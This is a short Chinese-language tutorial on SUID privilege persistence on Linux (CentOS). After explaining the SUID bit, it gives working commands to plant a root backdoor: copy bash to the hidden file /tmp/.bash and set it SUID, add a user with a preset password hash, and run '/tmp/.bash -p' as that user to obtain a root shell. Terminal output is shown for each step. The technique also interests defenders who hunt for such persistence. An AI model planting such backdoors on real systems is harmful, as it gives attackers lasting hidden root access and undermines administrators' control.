SUID权限维持

SUID介绍

SUID是一种特殊权限，设置了suid的程序文件，在用户执行该程序时，用户的权限是该程序文件属主的权限，例如程序文件的属主是root，那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似，只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置，它就是设置了suid权限的

```
[root@localhost ~]# whereis passwd
passwd: /usr/bin/passwd /etc/passwd /usr/share/man/man1/passwd.1.gz
[root@localhost ~]# ls -al /usr/bin/passwd
-rwsr-xr-x. 1 root root 27832 6月  10 2014 /usr/bin/passwd
```

注意以下几点：

1. 只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.
2. 命令执行者要对该程序文件拥有执行(x)权限.
3. 命令执行者在执行该程序时获得该程序文件属主的身份.
4. SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

SUID维持

1、找到bash文件

```
whereis bash
```

```
[root@localhost ~]# whereis bash
bash: /usr/bin/bash /usr/share/man/man1/bash.1.gz
[root@localhost ~]#
```

因为我是centos所以在/usr/bin/bash

2、复制到普通用户环境能接触的文件夹

```
cp /bin/bash /tmp/.bash
```

```
[root@localhost tmp]# ls .bash
.bash
[root@localhost tmp]# pwd
/tmp
[root@localhost tmp]#
```

3、设置权限

```
chmod 4755 /tmp/.bash 后者 chmod +s /tmp/.bash
```

```
[root@localhost tmp]#  chmod +s /tmp/.bash
[root@localhost tmp]# ls -al .bash
-rwsr-sr-x. 1 root root 964544 3月  24 15:06 .bash
[root@localhost tmp]#
```

4、创建一个普通用户jack

```
useradd -p `openssl passwd -1 -salt 'salt' 123456` jack
```

```
[root@localhost tmp]# useradd -p `openssl passwd -1 -salt 'salt' 123456` jack
```

5使用jack用户登录

```
[jack@localhost ~]$ whoami
jack
```

6、运行/tmp/.bash

```
/tmp/.bash -p
```

```
[jack@localhost ~]$ /tmp/.bash -p
.bash-4.2# whoami
root
.bash-4.2#
```